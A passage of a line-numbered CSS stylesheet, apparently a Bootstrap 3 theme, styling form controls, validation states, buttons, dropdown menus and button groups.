2517 outline: 5px auto -webkit-focus-ring-color;
2518 outline-offset: -2px;
2519}
2520output {
2521 display: block;
2522 padding-top: 11px;
2523 font-size: 15px;
2524 line-height: 1.42857143;
2525 color: #333333;
2526}
2527.form-control {
2528 display: block;
2529 width: 100%;
2530 height: 43px;
2531 padding: 10px 18px;
2532 font-size: 15px;
2533 line-height: 1.42857143;
2534 color: #333333;
2535 background-color: #ffffff;
2536 background-image: none;
2537 border: 1px solid #cccccc;
2538 border-radius: 0;
2539 -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);
2540 box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);
2541 -webkit-transition: border-color ease-in-out .15s, -webkit-box-shadow ease-in-out .15s;
2542 -o-transition: border-color ease-in-out .15s, box-shadow ease-in-out .15s;
2543 transition: border-color ease-in-out .15s, box-shadow ease-in-out .15s;
2544}
2545.form-control:focus {
2546 border-color: #66afe9;
2547 outline: 0;
2548 -webkit-box-shadow: inset 0 1px 1px rgba(0,0,0,.075), 0 0 8px rgba(102, 175, 233, 0.6);
2549 box-shadow: inset 0 1px 1px rgba(0,0,0,.075), 0 0 8px rgba(102, 175, 233, 0.6);
2550}
2551.form-control::-moz-placeholder {
2552 color: #999999;
2553 opacity: 1;
2554}
2555.form-control:-ms-input-placeholder {
2556 color: #999999;
2557}
2558.form-control::-webkit-input-placeholder {
2559 color: #999999;
2560}
2561.form-control[disabled],
2562.form-control[readonly],
2563fieldset[disabled] .form-control {
2564 cursor: not-allowed;
2565 background-color: #e6e6e6;
2566 opacity: 1;
2567}
2568textarea.form-control {
2569 height: auto;
2570}
2571input[type="search"] {
2572 -webkit-appearance: none;
2573}
2574@media screen and (-webkit-min-device-pixel-ratio: 0) {
2575 input[type="date"],
2576 input[type="time"],
2577 input[type="datetime-local"],
2578 input[type="month"] {
2579 line-height: 43px;
2580 }
2581 input[type="date"].input-sm,
2582 input[type="time"].input-sm,
2583 input[type="datetime-local"].input-sm,
2584 input[type="month"].input-sm,
2585 .input-group-sm input[type="date"],
2586 .input-group-sm input[type="time"],
2587 .input-group-sm input[type="datetime-local"],
2588 .input-group-sm input[type="month"] {
2589 line-height: 31px;
2590 }
2591 input[type="date"].input-lg,
2592 input[type="time"].input-lg,
2593 input[type="datetime-local"].input-lg,
2594 input[type="month"].input-lg,
2595 .input-group-lg input[type="date"],
2596 .input-group-lg input[type="time"],
2597 .input-group-lg input[type="datetime-local"],
2598 .input-group-lg input[type="month"] {
2599 line-height: 64px;
2600 }
2601}
2602.form-group {
2603 margin-bottom: 15px;
2604}
2605.radio,
2606.checkbox {
2607 position: relative;
2608 display: block;
2609 margin-top: 10px;
2610 margin-bottom: 10px;
2611}
2612.radio label,
2613.checkbox label {
2614 min-height: 21px;
2615 padding-left: 20px;
2616 margin-bottom: 0;
2617 font-weight: normal;
2618 cursor: pointer;
2619}
2620.radio input[type="radio"],
2621.radio-inline input[type="radio"],
2622.checkbox input[type="checkbox"],
2623.checkbox-inline input[type="checkbox"] {
2624 position: absolute;
2625 margin-left: -20px;
2626 margin-top: 4px \9;
2627}
2628.radio + .radio,
2629.checkbox + .checkbox {
2630 margin-top: -5px;
2631}
2632.radio-inline,
2633.checkbox-inline {
2634 display: inline-block;
2635 padding-left: 20px;
2636 margin-bottom: 0;
2637 vertical-align: middle;
2638 font-weight: normal;
2639 cursor: pointer;
2640}
2641.radio-inline + .radio-inline,
2642.checkbox-inline + .checkbox-inline {
2643 margin-top: 0;
2644 margin-left: 10px;
2645}
2646input[type="radio"][disabled],
2647input[type="checkbox"][disabled],
2648input[type="radio"].disabled,
2649input[type="checkbox"].disabled,
2650fieldset[disabled] input[type="radio"],
2651fieldset[disabled] input[type="checkbox"] {
2652 cursor: not-allowed;
2653}
2654.radio-inline.disabled,
2655.checkbox-inline.disabled,
2656fieldset[disabled] .radio-inline,
2657fieldset[disabled] .checkbox-inline {
2658 cursor: not-allowed;
2659}
2660.radio.disabled label,
2661.checkbox.disabled label,
2662fieldset[disabled] .radio label,
2663fieldset[disabled] .checkbox label {
2664 cursor: not-allowed;
2665}
2666.form-control-static {
2667 padding-top: 11px;
2668 padding-bottom: 11px;
2669 margin-bottom: 0;
2670}
2671.form-control-static.input-lg,
2672.form-control-static.input-sm {
2673 padding-left: 0;
2674 padding-right: 0;
2675}
2676.input-sm {
2677 height: 31px;
2678 padding: 5px 10px;
2679 font-size: 13px;
2680 line-height: 1.5;
2681 border-radius: 0;
2682}
2683select.input-sm {
2684 height: 31px;
2685 line-height: 31px;
2686}
2687textarea.input-sm,
2688select[multiple].input-sm {
2689 height: auto;
2690}
2691.form-group-sm .form-control {
2692 height: 31px;
2693 padding: 5px 10px;
2694 font-size: 13px;
2695 line-height: 1.5;
2696 border-radius: 0;
2697}
2698select.form-group-sm .form-control {
2699 height: 31px;
2700 line-height: 31px;
2701}
2702textarea.form-group-sm .form-control,
2703select[multiple].form-group-sm .form-control {
2704 height: auto;
2705}
2706.form-group-sm .form-control-static {
2707 height: 31px;
2708 padding: 5px 10px;
2709 font-size: 13px;
2710 line-height: 1.5;
2711}
2712.input-lg {
2713 height: 64px;
2714 padding: 18px 30px;
2715 font-size: 19px;
2716 line-height: 1.3333333;
2717 border-radius: 0;
2718}
2719select.input-lg {
2720 height: 64px;
2721 line-height: 64px;
2722}
2723textarea.input-lg,
2724select[multiple].input-lg {
2725 height: auto;
2726}
2727.form-group-lg .form-control {
2728 height: 64px;
2729 padding: 18px 30px;
2730 font-size: 19px;
2731 line-height: 1.3333333;
2732 border-radius: 0;
2733}
2734select.form-group-lg .form-control {
2735 height: 64px;
2736 line-height: 64px;
2737}
2738textarea.form-group-lg .form-control,
2739select[multiple].form-group-lg .form-control {
2740 height: auto;
2741}
2742.form-group-lg .form-control-static {
2743 height: 64px;
2744 padding: 18px 30px;
2745 font-size: 19px;
2746 line-height: 1.3333333;
2747}
2748.has-feedback {
2749 position: relative;
2750}
2751.has-feedback .form-control {
2752 padding-right: 53.75px;
2753}
2754.form-control-feedback {
2755 position: absolute;
2756 top: 0;
2757 right: 0;
2758 z-index: 2;
2759 display: block;
2760 width: 43px;
2761 height: 43px;
2762 line-height: 43px;
2763 text-align: center;
2764 pointer-events: none;
2765}
2766.input-lg + .form-control-feedback {
2767 width: 64px;
2768 height: 64px;
2769 line-height: 64px;
2770}
2771.input-sm + .form-control-feedback {
2772 width: 31px;
2773 height: 31px;
2774 line-height: 31px;
2775}
2776.has-success .help-block,
2777.has-success .control-label,
2778.has-success .radio,
2779.has-success .checkbox,
2780.has-success .radio-inline,
2781.has-success .checkbox-inline,
2782.has-success.radio label,
2783.has-success.checkbox label,
2784.has-success.radio-inline label,
2785.has-success.checkbox-inline label {
2786 color: #ffffff;
2787}
2788.has-success .form-control {
2789 border-color: #ffffff;
2790 -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);
2791 box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);
2792}
2793.has-success .form-control:focus {
2794 border-color: #e6e6e6;
2795 -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #ffffff;
2796 box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #ffffff;
2797}
2798.has-success .input-group-addon {
2799 color: #ffffff;
2800 border-color: #ffffff;
2801 background-color: #3fb618;
2802}
2803.has-success .form-control-feedback {
2804 color: #ffffff;
2805}
2806.has-warning .help-block,
2807.has-warning .control-label,
2808.has-warning .radio,
2809.has-warning .checkbox,
2810.has-warning .radio-inline,
2811.has-warning .checkbox-inline,
2812.has-warning.radio label,
2813.has-warning.checkbox label,
2814.has-warning.radio-inline label,
2815.has-warning.checkbox-inline label {
2816 color: #ffffff;
2817}
2818.has-warning .form-control {
2819 border-color: #ffffff;
2820 -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);
2821 box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);
2822}
2823.has-warning .form-control:focus {
2824 border-color: #e6e6e6;
2825 -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #ffffff;
2826 box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #ffffff;
2827}
2828.has-warning .input-group-addon {
2829 color: #ffffff;
2830 border-color: #ffffff;
2831 background-color: #ff7518;
2832}
2833.has-warning .form-control-feedback {
2834 color: #ffffff;
2835}
2836.has-error .help-block,
2837.has-error .control-label,
2838.has-error .radio,
2839.has-error .checkbox,
2840.has-error .radio-inline,
2841.has-error .checkbox-inline,
2842.has-error.radio label,
2843.has-error.checkbox label,
2844.has-error.radio-inline label,
2845.has-error.checkbox-inline label {
2846 color: #ffffff;
2847}
2848.has-error .form-control {
2849 border-color: #ffffff;
2850 -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);
2851 box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);
2852}
2853.has-error .form-control:focus {
2854 border-color: #e6e6e6;
2855 -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #ffffff;
2856 box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #ffffff;
2857}
2858.has-error .input-group-addon {
2859 color: #ffffff;
2860 border-color: #ffffff;
2861 background-color: #ff0039;
2862}
2863.has-error .form-control-feedback {
2864 color: #ffffff;
2865}
2866.has-feedback label ~ .form-control-feedback {
2867 top: 26px;
2868}
2869.has-feedback label.sr-only ~ .form-control-feedback {
2870 top: 0;
2871}
2872.help-block {
2873 display: block;
2874 margin-top: 5px;
2875 margin-bottom: 10px;
2876 color: #737373;
2877}
2878@media (min-width: 768px) {
2879 .form-inline .form-group {
2880 display: inline-block;
2881 margin-bottom: 0;
2882 vertical-align: middle;
2883 }
2884 .form-inline .form-control {
2885 display: inline-block;
2886 width: auto;
2887 vertical-align: middle;
2888 }
2889 .form-inline .form-control-static {
2890 display: inline-block;
2891 }
2892 .form-inline .input-group {
2893 display: inline-table;
2894 vertical-align: middle;
2895 }
2896 .form-inline .input-group .input-group-addon,
2897 .form-inline .input-group .input-group-btn,
2898 .form-inline .input-group .form-control {
2899 width: auto;
2900 }
2901 .form-inline .input-group > .form-control {
2902 width: 100%;
2903 }
2904 .form-inline .control-label {
2905 margin-bottom: 0;
2906 vertical-align: middle;
2907 }
2908 .form-inline .radio,
2909 .form-inline .checkbox {
2910 display: inline-block;
2911 margin-top: 0;
2912 margin-bottom: 0;
2913 vertical-align: middle;
2914 }
2915 .form-inline .radio label,
2916 .form-inline .checkbox label {
2917 padding-left: 0;
2918 }
2919 .form-inline .radio input[type="radio"],
2920 .form-inline .checkbox input[type="checkbox"] {
2921 position: relative;
2922 margin-left: 0;
2923 }
2924 .form-inline .has-feedback .form-control-feedback {
2925 top: 0;
2926 }
2927}
2928.form-horizontal .radio,
2929.form-horizontal .checkbox,
2930.form-horizontal .radio-inline,
2931.form-horizontal .checkbox-inline {
2932 margin-top: 0;
2933 margin-bottom: 0;
2934 padding-top: 11px;
2935}
2936.form-horizontal .radio,
2937.form-horizontal .checkbox {
2938 min-height: 32px;
2939}
2940.form-horizontal .form-group {
2941 margin-left: -15px;
2942 margin-right: -15px;
2943}
2944@media (min-width: 768px) {
2945 .form-horizontal .control-label {
2946 text-align: right;
2947 margin-bottom: 0;
2948 padding-top: 11px;
2949 }
2950}
2951.form-horizontal .has-feedback .form-control-feedback {
2952 right: 15px;
2953}
2954@media (min-width: 768px) {
2955 .form-horizontal .form-group-lg .control-label {
2956 padding-top: 24.9999994px;
2957 }
2958}
2959@media (min-width: 768px) {
2960 .form-horizontal .form-group-sm .control-label {
2961 padding-top: 6px;
2962 }
2963}
2964.btn {
2965 display: inline-block;
2966 margin-bottom: 0;
2967 font-weight: normal;
2968 text-align: center;
2969 vertical-align: middle;
2970 -ms-touch-action: manipulation;
2971 touch-action: manipulation;
2972 cursor: pointer;
2973 background-image: none;
2974 border: 1px solid transparent;
2975 white-space: nowrap;
2976 padding: 10px 18px;
2977 font-size: 15px;
2978 line-height: 1.42857143;
2979 border-radius: 0;
2980 -webkit-user-select: none;
2981 -moz-user-select: none;
2982 -ms-user-select: none;
2983 user-select: none;
2984}
2985.btn:focus,
2986.btn:active:focus,
2987.btn.active:focus,
2988.btn.focus,
2989.btn:active.focus,
2990.btn.active.focus {
2991 outline: thin dotted;
2992 outline: 5px auto -webkit-focus-ring-color;
2993 outline-offset: -2px;
2994}
2995.btn:hover,
2996.btn:focus,
2997.btn.focus {
2998 color: #ffffff;
2999 text-decoration: none;
3000}
3001.btn:active,
3002.btn.active {
3003 outline: 0;
3004 background-image: none;
3005 -webkit-box-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125);
3006 box-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125);
3007}
3008.btn.disabled,
3009.btn[disabled],
3010fieldset[disabled] .btn {
3011 cursor: not-allowed;
3012 pointer-events: none;
3013 opacity: 0.65;
3014 filter: alpha(opacity=65);
3015 -webkit-box-shadow: none;
3016 box-shadow: none;
3017}
3018.btn-default {
3019 color: #ffffff;
3020 background-color: #222222;
3021 border-color: #222222;
3022}
3023.btn-default:hover,
3024.btn-default:focus,
3025.btn-default.focus,
3026.btn-default:active,
3027.btn-default.active,
3028.open > .dropdown-toggle.btn-default {
3029 color: #ffffff;
3030 background-color: #090909;
3031 border-color: #040404;
3032}
3033.btn-default:active,
3034.btn-default.active,
3035.open > .dropdown-toggle.btn-default {
3036 background-image: none;
3037}
3038.btn-default.disabled,
3039.btn-default[disabled],
3040fieldset[disabled] .btn-default,
3041.btn-default.disabled:hover,
3042.btn-default[disabled]:hover,
3043fieldset[disabled] .btn-default:hover,
3044.btn-default.disabled:focus,
3045.btn-default[disabled]:focus,
3046fieldset[disabled] .btn-default:focus,
3047.btn-default.disabled.focus,
3048.btn-default[disabled].focus,
3049fieldset[disabled] .btn-default.focus,
3050.btn-default.disabled:active,
3051.btn-default[disabled]:active,
3052fieldset[disabled] .btn-default:active,
3053.btn-default.disabled.active,
3054.btn-default[disabled].active,
3055fieldset[disabled] .btn-default.active {
3056 background-color: #222222;
3057 border-color: #222222;
3058}
3059.btn-default .badge {
3060 color: #222222;
3061 background-color: #ffffff;
3062}
3063.btn-primary {
3064 color: #ffffff;
3065 background-color: #2780e3;
3066 border-color: #2780e3;
3067}
3068.btn-primary:hover,
3069.btn-primary:focus,
3070.btn-primary.focus,
3071.btn-primary:active,
3072.btn-primary.active,
3073.open > .dropdown-toggle.btn-primary {
3074 color: #ffffff;
3075 background-color: #1967be;
3076 border-color: #1862b5;
3077}
3078.btn-primary:active,
3079.btn-primary.active,
3080.open > .dropdown-toggle.btn-primary {
3081 background-image: none;
3082}
3083.btn-primary.disabled,
3084.btn-primary[disabled],
3085fieldset[disabled] .btn-primary,
3086.btn-primary.disabled:hover,
3087.btn-primary[disabled]:hover,
3088fieldset[disabled] .btn-primary:hover,
3089.btn-primary.disabled:focus,
3090.btn-primary[disabled]:focus,
3091fieldset[disabled] .btn-primary:focus,
3092.btn-primary.disabled.focus,
3093.btn-primary[disabled].focus,
3094fieldset[disabled] .btn-primary.focus,
3095.btn-primary.disabled:active,
3096.btn-primary[disabled]:active,
3097fieldset[disabled] .btn-primary:active,
3098.btn-primary.disabled.active,
3099.btn-primary[disabled].active,
3100fieldset[disabled] .btn-primary.active {
3101 background-color: #2780e3;
3102 border-color: #2780e3;
3103}
3104.btn-primary .badge {
3105 color: #2780e3;
3106 background-color: #ffffff;
3107}
3108.btn-success {
3109 color: #ffffff;
3110 background-color: #3fb618;
3111 border-color: #3fb618;
3112}
3113.btn-success:hover,
3114.btn-success:focus,
3115.btn-success.focus,
3116.btn-success:active,
3117.btn-success.active,
3118.open > .dropdown-toggle.btn-success {
3119 color: #ffffff;
3120 background-color: #2f8912;
3121 border-color: #2c8011;
3122}
3123.btn-success:active,
3124.btn-success.active,
3125.open > .dropdown-toggle.btn-success {
3126 background-image: none;
3127}
3128.btn-success.disabled,
3129.btn-success[disabled],
3130fieldset[disabled] .btn-success,
3131.btn-success.disabled:hover,
3132.btn-success[disabled]:hover,
3133fieldset[disabled] .btn-success:hover,
3134.btn-success.disabled:focus,
3135.btn-success[disabled]:focus,
3136fieldset[disabled] .btn-success:focus,
3137.btn-success.disabled.focus,
3138.btn-success[disabled].focus,
3139fieldset[disabled] .btn-success.focus,
3140.btn-success.disabled:active,
3141.btn-success[disabled]:active,
3142fieldset[disabled] .btn-success:active,
3143.btn-success.disabled.active,
3144.btn-success[disabled].active,
3145fieldset[disabled] .btn-success.active {
3146 background-color: #3fb618;
3147 border-color: #3fb618;
3148}
3149.btn-success .badge {
3150 color: #3fb618;
3151 background-color: #ffffff;
3152}
3153.btn-info {
3154 color: #ffffff;
3155 background-color: #9954bb;
3156 border-color: #9954bb;
3157}
3158.btn-info:hover,
3159.btn-info:focus,
3160.btn-info.focus,
3161.btn-info:active,
3162.btn-info.active,
3163.open > .dropdown-toggle.btn-info {
3164 color: #ffffff;
3165 background-color: #7e3f9d;
3166 border-color: #783c96;
3167}
3168.btn-info:active,
3169.btn-info.active,
3170.open > .dropdown-toggle.btn-info {
3171 background-image: none;
3172}
3173.btn-info.disabled,
3174.btn-info[disabled],
3175fieldset[disabled] .btn-info,
3176.btn-info.disabled:hover,
3177.btn-info[disabled]:hover,
3178fieldset[disabled] .btn-info:hover,
3179.btn-info.disabled:focus,
3180.btn-info[disabled]:focus,
3181fieldset[disabled] .btn-info:focus,
3182.btn-info.disabled.focus,
3183.btn-info[disabled].focus,
3184fieldset[disabled] .btn-info.focus,
3185.btn-info.disabled:active,
3186.btn-info[disabled]:active,
3187fieldset[disabled] .btn-info:active,
3188.btn-info.disabled.active,
3189.btn-info[disabled].active,
3190fieldset[disabled] .btn-info.active {
3191 background-color: #9954bb;
3192 border-color: #9954bb;
3193}
3194.btn-info .badge {
3195 color: #9954bb;
3196 background-color: #ffffff;
3197}
3198.btn-warning {
3199 color: #ffffff;
3200 background-color: #ff7518;
3201 border-color: #ff7518;
3202}
3203.btn-warning:hover,
3204.btn-warning:focus,
3205.btn-warning.focus,
3206.btn-warning:active,
3207.btn-warning.active,
3208.open > .dropdown-toggle.btn-warning {
3209 color: #ffffff;
3210 background-color: #e45c00;
3211 border-color: #da5800;
3212}
3213.btn-warning:active,
3214.btn-warning.active,
3215.open > .dropdown-toggle.btn-warning {
3216 background-image: none;
3217}
3218.btn-warning.disabled,
3219.btn-warning[disabled],
3220fieldset[disabled] .btn-warning,
3221.btn-warning.disabled:hover,
3222.btn-warning[disabled]:hover,
3223fieldset[disabled] .btn-warning:hover,
3224.btn-warning.disabled:focus,
3225.btn-warning[disabled]:focus,
3226fieldset[disabled] .btn-warning:focus,
3227.btn-warning.disabled.focus,
3228.btn-warning[disabled].focus,
3229fieldset[disabled] .btn-warning.focus,
3230.btn-warning.disabled:active,
3231.btn-warning[disabled]:active,
3232fieldset[disabled] .btn-warning:active,
3233.btn-warning.disabled.active,
3234.btn-warning[disabled].active,
3235fieldset[disabled] .btn-warning.active {
3236 background-color: #ff7518;
3237 border-color: #ff7518;
3238}
3239.btn-warning .badge {
3240 color: #ff7518;
3241 background-color: #ffffff;
3242}
3243.btn-danger {
3244 color: #ffffff;
3245 background-color: #ff0039;
3246 border-color: #ff0039;
3247}
3248.btn-danger:hover,
3249.btn-danger:focus,
3250.btn-danger.focus,
3251.btn-danger:active,
3252.btn-danger.active,
3253.open > .dropdown-toggle.btn-danger {
3254 color: #ffffff;
3255 background-color: #cc002e;
3256 border-color: #c2002b;
3257}
3258.btn-danger:active,
3259.btn-danger.active,
3260.open > .dropdown-toggle.btn-danger {
3261 background-image: none;
3262}
3263.btn-danger.disabled,
3264.btn-danger[disabled],
3265fieldset[disabled] .btn-danger,
3266.btn-danger.disabled:hover,
3267.btn-danger[disabled]:hover,
3268fieldset[disabled] .btn-danger:hover,
3269.btn-danger.disabled:focus,
3270.btn-danger[disabled]:focus,
3271fieldset[disabled] .btn-danger:focus,
3272.btn-danger.disabled.focus,
3273.btn-danger[disabled].focus,
3274fieldset[disabled] .btn-danger.focus,
3275.btn-danger.disabled:active,
3276.btn-danger[disabled]:active,
3277fieldset[disabled] .btn-danger:active,
3278.btn-danger.disabled.active,
3279.btn-danger[disabled].active,
3280fieldset[disabled] .btn-danger.active {
3281 background-color: #ff0039;
3282 border-color: #ff0039;
3283}
3284.btn-danger .badge {
3285 color: #ff0039;
3286 background-color: #ffffff;
3287}
3288.btn-link {
3289 color: #2780e3;
3290 font-weight: normal;
3291 border-radius: 0;
3292}
3293.btn-link,
3294.btn-link:active,
3295.btn-link.active,
3296.btn-link[disabled],
3297fieldset[disabled] .btn-link {
3298 background-color: transparent;
3299 -webkit-box-shadow: none;
3300 box-shadow: none;
3301}
3302.btn-link,
3303.btn-link:hover,
3304.btn-link:focus,
3305.btn-link:active {
3306 border-color: transparent;
3307}
3308.btn-link:hover,
3309.btn-link:focus {
3310 color: #165ba8;
3311 text-decoration: underline;
3312 background-color: transparent;
3313}
3314.btn-link[disabled]:hover,
3315fieldset[disabled] .btn-link:hover,
3316.btn-link[disabled]:focus,
3317fieldset[disabled] .btn-link:focus {
3318 color: #999999;
3319 text-decoration: none;
3320}
3321.btn-lg,
3322.btn-group-lg > .btn {
3323 padding: 18px 30px;
3324 font-size: 19px;
3325 line-height: 1.3333333;
3326 border-radius: 0;
3327}
3328.btn-sm,
3329.btn-group-sm > .btn {
3330 padding: 5px 10px;
3331 font-size: 13px;
3332 line-height: 1.5;
3333 border-radius: 0;
3334}
3335.btn-xs,
3336.btn-group-xs > .btn {
3337 padding: 1px 5px;
3338 font-size: 13px;
3339 line-height: 1.5;
3340 border-radius: 0;
3341}
3342.btn-block {
3343 display: block;
3344 width: 100%;
3345}
3346.btn-block + .btn-block {
3347 margin-top: 5px;
3348}
3349input[type="submit"].btn-block,
3350input[type="reset"].btn-block,
3351input[type="button"].btn-block {
3352 width: 100%;
3353}
3354.fade {
3355 opacity: 0;
3356 -webkit-transition: opacity 0.15s linear;
3357 -o-transition: opacity 0.15s linear;
3358 transition: opacity 0.15s linear;
3359}
3360.fade.in {
3361 opacity: 1;
3362}
3363.collapse {
3364 display: none;
3365 visibility: hidden;
3366}
3367.collapse.in {
3368 display: block;
3369 visibility: visible;
3370}
3371tr.collapse.in {
3372 display: table-row;
3373}
3374tbody.collapse.in {
3375 display: table-row-group;
3376}
3377.collapsing {
3378 position: relative;
3379 height: 0;
3380 overflow: hidden;
3381 -webkit-transition-property: height, visibility;
3382 -o-transition-property: height, visibility;
3383 transition-property: height, visibility;
3384 -webkit-transition-duration: 0.35s;
3385 -o-transition-duration: 0.35s;
3386 transition-duration: 0.35s;
3387 -webkit-transition-timing-function: ease;
3388 -o-transition-timing-function: ease;
3389 transition-timing-function: ease;
3390}
3391.caret {
3392 display: inline-block;
3393 width: 0;
3394 height: 0;
3395 margin-left: 2px;
3396 vertical-align: middle;
3397 border-top: 4px solid;
3398 border-right: 4px solid transparent;
3399 border-left: 4px solid transparent;
3400}
3401.dropup,
3402.dropdown {
3403 position: relative;
3404}
3405.dropdown-toggle:focus {
3406 outline: 0;
3407}
3408.dropdown-menu {
3409 position: absolute;
3410 top: 100%;
3411 left: 0;
3412 z-index: 1000;
3413 display: none;
3414 float: left;
3415 min-width: 160px;
3416 padding: 5px 0;
3417 margin: 2px 0 0;
3418 list-style: none;
3419 font-size: 15px;
3420 text-align: left;
3421 background-color: #ffffff;
3422 border: 1px solid #cccccc;
3423 border: 1px solid rgba(0, 0, 0, 0.15);
3424 border-radius: 0;
3425 -webkit-box-shadow: 0 6px 12px rgba(0, 0, 0, 0.175);
3426 box-shadow: 0 6px 12px rgba(0, 0, 0, 0.175);
3427 -webkit-background-clip: padding-box;
3428 background-clip: padding-box;
3429}
3430.dropdown-menu.pull-right {
3431 right: 0;
3432 left: auto;
3433}
3434.dropdown-menu .divider {
3435 height: 1px;
3436 margin: 9.5px 0;
3437 overflow: hidden;
3438 background-color: #e5e5e5;
3439}
3440.dropdown-menu > li > a {
3441 display: block;
3442 padding: 3px 20px;
3443 clear: both;
3444 font-weight: normal;
3445 line-height: 1.42857143;
3446 color: #333333;
3447 white-space: nowrap;
3448}
3449.dropdown-menu > li > a:hover,
3450.dropdown-menu > li > a:focus {
3451 text-decoration: none;
3452 color: #ffffff;
3453 background-color: #2780e3;
3454}
3455.dropdown-menu > .active > a,
3456.dropdown-menu > .active > a:hover,
3457.dropdown-menu > .active > a:focus {
3458 color: #ffffff;
3459 text-decoration: none;
3460 outline: 0;
3461 background-color: #2780e3;
3462}
3463.dropdown-menu > .disabled > a,
3464.dropdown-menu > .disabled > a:hover,
3465.dropdown-menu > .disabled > a:focus {
3466 color: #999999;
3467}
3468.dropdown-menu > .disabled > a:hover,
3469.dropdown-menu > .disabled > a:focus {
3470 text-decoration: none;
3471 background-color: transparent;
3472 background-image: none;
3473 filter: progid:DXImageTransform.Microsoft.gradient(enabled = false);
3474 cursor: not-allowed;
3475}
3476.open > .dropdown-menu {
3477 display: block;
3478}
3479.open > a {
3480 outline: 0;
3481}
3482.dropdown-menu-right {
3483 left: auto;
3484 right: 0;
3485}
3486.dropdown-menu-left {
3487 left: 0;
3488 right: auto;
3489}
3490.dropdown-header {
3491 display: block;
3492 padding: 3px 20px;
3493 font-size: 13px;
3494 line-height: 1.42857143;
3495 color: #999999;
3496 white-space: nowrap;
3497}
3498.dropdown-backdrop {
3499 position: fixed;
3500 left: 0;
3501 right: 0;
3502 bottom: 0;
3503 top: 0;
3504 z-index: 990;
3505}
3506.pull-right > .dropdown-menu {
3507 right: 0;
3508 left: auto;
3509}
3510.dropup .caret,
3511.navbar-fixed-bottom .dropdown .caret {
3512 border-top: 0;
3513 border-bottom: 4px solid;
3514 content: "";
3515}
3516.dropup .dropdown-menu,
3517.navbar-fixed-bottom .dropdown .dropdown-menu {
3518 top: auto;
3519 bottom: 100%;
3520 margin-bottom: 2px;
3521}
3522@media (min-width: 768px) {
3523 .navbar-right .dropdown-menu {
3524 left: auto;
3525 right: 0;
3526 }
3527 .navbar-right .dropdown-menu-left {
3528 left: 0;
3529 right: auto;
3530 }
3531}
3532.btn-group,
3533.btn-group-vertical {
3534 position: relative;
3535 display: inline-block;
3536 vertical-align: middle;
3537}
3538.btn-group > .btn,
3539.btn-group-vertical > .btn {
3540 position: relative;
3541 float: left;
3542}
3543.btn-group > .btn:hover,
3544.btn-group-vertical > .btn:hover,
3545.btn-group > .btn:focus,
3546.btn-group-vertical > .btn:focus,
3547.btn-group > .btn:active,
3548.btn-group-vertical > .btn:active,
3549.btn-group > .btn.active,
3550.btn-group-vertical > .btn.active {
3551 z-index: 2;
3552}
3553.btn-group .btn + .btn,
3554.btn-group .btn + .btn-group,
3555.btn-group .btn-group + .btn,
3556.btn-group .btn-group + .btn-group {
3557 margin-left: -1px;
3558}
3559.btn-toolbar {
3560 margin-left: -5px;
3561}
3562.btn-toolbar .btn-group,
3563.btn-toolbar .input-group {
3564 float: left;
3565}
3566.btn-toolbar > .btn,
3567.btn-toolbar > .btn-group,
3568.btn-toolbar > .input-group {
3569 margin-left: 5px;
3570}
3571.btn-group > .btn:not(:first-child):not(:last-child):not(.dropdown-toggle) {
3572 border-radius: 0;
3573}
3574.btn-group > .btn:first-child {
3575 margin-left: 0;
3576}
3577.btn-group > .btn:first-child:not(:last-child):not(.dropdown-toggle) {
3578 border-bottom-right-radius: 0;
3579 border-top-right-radius: 0;
3580}
3581.btn-group > .btn:last-child:not(:first-child),
3582.btn-group > .dropdown-toggle:not(:first-child) {
3583 border-bottom-left-radius: 0;
3584 border-top-left-radius: 0;
3585}
3586.btn-group > .btn-group {
3587 float: left;
3588}
3589.btn-group > .btn-group:not(:first-child):not(:last-child) > .btn {
3590 border-radius: 0;
3591}
3592.btn-group > .btn-group:first-child:not(:last-child) > .btn:last-child,
3593.btn-group > .btn-group:first-child:not(:last-child) > .dropdown-toggle {
3594 border-bottom-right-radius: 0;
3595 border-top-right-radius: 0;
3596}
3597.btn-group > .btn-group:last-child:not(:first-child) > .btn:first-child {
3598 border-bottom-left-radius: 0;
3599 border-top-left-radius: 0;
3600}
3601.btn-group .dropdown-toggle:active,
3602.btn-group.open .dropdown-toggle {
3603 outline: 0;
3604}
3605.btn-group > .btn + .dropdown-toggle {
3606 padding-left: 8px;
3607 padding-right: 8px;
3608}
3609.btn-group > .btn-lg + .dropdown-toggle {
3610 padding-left: 12px;
3611 padding-right: 12px;
3612}
3613.btn-group.open .dropdown-toggle {
3614 -webkit-box-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125);
3615 box-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125);
3616}
3617.btn-group.open .dropdown-toggle.btn-link {
3618 -webkit-box-shadow: none;
3619 box-shadow: none;
3620}
3621.btn .caret {
3622 margin-left: 0;
3623}
3624.btn-lg .caret {
3625 border-width: 5px 5px 0;
3626 border-bottom-width: 0;
3627}
3628.dropup .btn-lg .caret {
3629 border-width: 0 5px 5px;
3630}
3631.btn-group-vertical > .btn,
3632.btn-group-vertical > .btn-group,
3633.btn-group-vertical > .btn-group > .btn {
3634 display: block;
3635 float: none;
3636 width: 100%;
3637 max-width: 100%;
3638}
3639.btn-group-vertical > .btn-group > .btn {
3640 float: none;
3641}
3642.btn-group-vertical > .btn + .btn,
3643.btn-group-vertical > .btn + .btn-group,
3644.btn-group-vertical > .btn-group + .btn,
3645.btn-group-vertical > .btn-group + .btn-group {
3646 margin-top: -1px;
3647 margin-left: 0;
3648}
3649.btn-group-vertical > .btn:not(:first-child):not(:last-child) {
3650 border-radius: 0;
3651}
